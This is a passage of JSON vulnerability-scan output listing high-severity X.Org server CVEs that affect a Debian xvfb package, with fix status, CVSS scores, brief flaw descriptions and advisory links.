"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50260", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/f5abfb61994471023d8c6470428c8e30c411cc0b", "https://linux.oracle.com/cve/CVE-2026-50260.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50260", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50260.json", "https://www.cve.org/CVERecord?id=CVE-2026-50260" ], "PublishedDate": "2026-06-05T12:16:39.43Z", "LastModifiedDate": "2026-11-04T23:17:43.19Z" }, { "VulnerabilityID": "CVE-2026-50261", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50261", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1259f7d87321921e2cde6c2f7d5cccd4b9e14d2639ba0ad856b372358fd1d936", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: use-after-free in SyncChangeCounter()", "Description": "A use-after-free flaw was found in the X.Org X server and Xwayland in SyncChangeCounter(). A client that sets up multiple SyncCounters can trigger a use-after-free when destroying those counters via a second client connection while changing those counters. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50261", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/bdd7bf57af208b1ddf57d4683d67104443b44812", "https://linux.oracle.com/cve/CVE-2026-50261.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50261", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50261.json", "https://www.cve.org/CVERecord?id=CVE-2026-50261" ], "PublishedDate": "2026-06-05T12:16:39.617Z", "LastModifiedDate": "2026-11-04T23:17:43.853Z" }, { "VulnerabilityID": "CVE-2026-50264", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50264", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:19db77289fc9bac1163ccf1c26d389fb2637f515a8ea4b3bdbfc54c1dd4c1f9d", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: out-of-bounds heap write in DRI2 DRIGetBuffers/DRIGetBuffersWithFormat", "Description": "An out-of-bounds write flaw was found in the X.Org X server and Xwayland in DRIGetBuffers/DRIGetBuffersWithFormat. A client that requests multiple DRI2BufferBackLeft attachments and one DRI2BufferFrontLeft can trigger an out-of-bounds heap write. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/security/cve/CVE-2026-50264", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/339c279514326134b0878fc23ce6e9520440ce7f", "https://linux.oracle.com/cve/CVE-2026-50264.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50264", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50264.json", "https://www.cve.org/CVERecord?id=CVE-2026-50264" ], "PublishedDate": "2026-06-05T12:16:40.08Z", "LastModifiedDate": "2026-11-04T23:17:44.523Z" }, { "VulnerabilityID": "CVE-2026-55999", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55999", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a6253a6ebe83e24f20bde7a602081916cfdde3beaa5f073a8e0b1d369383f85b", "Title": "xorg: X11: xserver: X.org: glamor Font Atlas Heap Buffer Overflow", "Description": "Local attackers with a X connection able to provide PCX fonts to the X \nserver xorg-server before 21.2.24 and xwayland before 24.1.13 could \ncause a heap buffer overflow via SetFont due to missing glyph boundary checks.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:38490", "https://access.redhat.com/security/cve/CVE-2026-55999", "https://bugzilla.redhat.com/2496165", "https://bugzilla.redhat.com/2496193", "https://bugzilla.redhat.com/show_bug.cgi?id=2496165", "https://bugzilla.redhat.com/show_bug.cgi?id=2496193", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56000", "https://errata.almalinux.org/9/ALSA-2026-38490.html", "https://errata.rockylinux.org/RLSA-2026:38490", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/fbf7bac22e2c6bd627fb042742a23318263edae1", "https://linux.oracle.com/cve/CVE-2026-55999.html", "https://linux.oracle.com/errata/ELSA-2026-50117-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-55999", "https://www.cve.org/CVERecord?id=CVE-2026-55999", "https://www.openwall.com/lists/oss-security/2026/07/08/2" ], "PublishedDate": "2026-07-08T09:16:29.8Z", "LastModifiedDate": "2026-07-09T19:49:51.483Z" }, { "VulnerabilityID": "CVE-2026-56000", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56000", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d32d5a334292d9834d818bd3909b89ff73dddb8a6b7029a721c2adbb195a3bb8", "Title": "X.org: xorg-x11-server: GLX contextTags Use-After-Free in CommonMakeCurrent()", "Description": "Local attackers with a X connection able to provide GLX commit to the X server xorg-server before 21.2.24 and xwayland before 24.1.13 could cause a Heap Use After Free, due to CommonMakeCurrent() pointing into potentially reallocated memory.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:38490", "https://access.redhat.com/security/cve/CVE-2026-56000", "https://bugzilla.redhat.com/2496165", "https://bugzilla.redhat.com/2496193", "https://bugzilla.redhat.com/show_bug.cgi?id=2496165", "https://bugzilla.redhat.com/show_bug.cgi?id=2496193", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56000", "https://errata.almalinux.org/9/ALSA-2026-38490.html", "https://errata.rockylinux.org/RLSA-2026:38490", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/2779affbdb4354e894f490e56f962527d6125043", "https://linux.oracle.com/cve/CVE-2026-56000.html", "https://linux.oracle.com/errata/ELSA-2026-38490.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56000", "https://www.cve.org/CVERecord?id=CVE-2026-56000", "https://www.openwall.com/lists/oss-security/2026/07/08/2" ], "PublishedDate": "2026-07-08T09:16:29.923Z", "LastModifiedDate": "2026-07-09T19:47:29.21Z" }, { "VulnerabilityID": "CVE-2026-88812", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-88812", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cc1b5c8c0f954bb3065ba99c56a1d7cc7e1997101d9f9e2f5c698ff88b0227df", "Title": "xorg-x11-server: xwayland: xorg-x11-server: Arbitrary code execution via double-free in XKB geometry handling", "Description": "A double free in XKB SetGeometryin X.Org X Server before 21.1.25 and X Wayland before 24.1.14 could be used by attached clients to cause a crash or potentially code in the x server context.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85193", "https://access.redhat.com/security/cve/CVE-2026-88812", "https://bugzilla.redhat.com/2545161", "https://bugzilla.redhat.com/2545164", "https://bugzilla.redhat.com/2545174", "https://bugzilla.redhat.com/2545177", "https://bugzilla.redhat.com/2545178", "https://bugzilla.redhat.com/2545246", "https://bugzilla.redhat.com/2545860", "https://bugzilla.redhat.com/2545887", "https://bugzilla.redhat.com/2545908", "https://bugzilla.redhat.com/show_bug.cgi?id=2545161", "https://bugzilla.redhat.com/show_bug.cgi?id=2545164", "https://bugzilla.redhat.com/show_bug.cgi?id=2545174", "https://bugzilla.redhat.com/show_bug.cgi?id=2545177", "https://bugzilla.redhat.com/show_bug.cgi?id=2545178", "https://bugzilla.redhat.com/show_bug.cgi?id=2545246", "https://bugzilla.redhat.com/show_bug.cgi?id=2545860", "https://bugzilla.redhat.com/show_bug.cgi?id=2545887", "https://bugzilla.redhat.com/show_bug.cgi?id=2545908", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88812", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93517", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93519", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93520", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93522", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93523", "https://errata.almalinux.org/9/ALSA-2026-85193.html", "https://errata.rockylinux.org/RLSA-2026:85193", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/0d1b1b0bad86c9ea2a3b7ca5a70e681dc69f1ecc", "https://linux.oracle.com/cve/CVE-2026-88812.html", "https://linux.oracle.com/errata/ELSA-2026-89747.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-88812", "https://www.cve.org/CVERecord?id=CVE-2026-88812" ], "PublishedDate": "2026-10-27T18:17:38.12Z", "LastModifiedDate": "2026-11-04T21:18:15.38Z" }, { "VulnerabilityID": "CVE-2026-93516", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93516", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c924080d080a2c45f845c2e8f9b878e925c77cbde84f677dba591151cd772833", "Title": "xorg-x11-server: xorg-x11-server: Arbitrary code execution via use-after-free in passive grab handling", "Description": "A use-after-free caused by lack of lifecycle management when adding / removing XInput master devices in X.org X Server before 21.1.25 and XWayland before 24.1.14 could be used by authenticated X Clients to crash the X server or potentially execute code in X server context.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85193", "https://access.redhat.com/security/cve/CVE-2026-93516", "https://bugzilla.redhat.com/2545161", "https://bugzilla.redhat.com/2545164", "https://bugzilla.redhat.com/2545174", "https://bugzilla.redhat.com/2545177", "https://bugzilla.redhat.com/2545178", "https://bugzilla.redhat.com/2545246", "https://bugzilla.redhat.com/2545860", "https://bugzilla.redhat.com/2545887", "https://bugzilla.redhat.com/2545908", "https://bugzilla.redhat.com/show_bug.cgi?id=2545161", "https://bugzilla.redhat.com/show_bug.cgi?id=2545164", "https://bugzilla.redhat.com/show_bug.cgi?id=2545174", "https://bugzilla.redhat.com/show_bug.cgi?id=2545177", "https://bugzilla.redhat.com/show_bug.cgi?id=2545178", "https://bugzilla.redhat.com/show_bug.cgi?id=2545246", "https://bugzilla.redhat.com/show_bug.cgi?id=2545860", "https://bugzilla.redhat.com/show_bug.cgi?id=2545887", "https://bugzilla.redhat.com/show_bug.cgi?id=2545908", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88812", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93517", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93519", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93520", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93522", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93523", "https://errata.almalinux.org/9/ALSA-2026-85193.html", "https://errata.rockylinux.org/RLSA-2026:85193", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/be572634158850fff4e9829cee88db08d30c9743", "https://linux.oracle.com/cve/CVE-2026-93516.html", "https://linux.oracle.com/errata/ELSA-2026-89747.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93516", "https://www.cve.org/CVERecord?id=CVE-2026-93516" ], "PublishedDate": "2026-10-28T13:17:29.237Z", "LastModifiedDate": "2026-11-06T19:18:01.857Z" }, { "VulnerabilityID": "CVE-2026-93521", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93521", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c998008202e9561e4ae065b6af03aa8ee9ef16f7571542a8f7b617c6401ed7a", "Title": "xorg-x11-server: xorg-x11-server: Privilege escalation via crafted RandR provider property requests", "Description": "A buffer overflow in RandR\nChangeProviderProperty requests in X.Org X Server before 2.1.25 and XWayland before 24.4.14 could be used by authenticated X clients to crash or execute code within the X server context.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85193", "https://access.redhat.com/security/cve/CVE-2026-93521", "https://bugzilla.redhat.com/2545161", "https://bugzilla.redhat.com/2545164", "https://bugzilla.redhat.com/2545174", "https://bugzilla.redhat.com/2545177", "https://bugzilla.redhat.com/2545178", "https://bugzilla.redhat.com/2545246", "https://bugzilla.redhat.com/2545860", "https://bugzilla.redhat.com/2545887", "https://bugzilla.redhat.com/2545908", "https://bugzilla.redhat.com/show_bug.cgi?id=2545161", "https://bugzilla.redhat.com/show_bug.cgi?id=2545164", "https://bugzilla.redhat.com/show_bug.cgi?id=2545174", "https://bugzilla.redhat.com/show_bug.cgi?id=2545177", "https://bugzilla.redhat.com/show_bug.cgi?id=2545178", "https://bugzilla.redhat.com/show_bug.cgi?id=2545246", 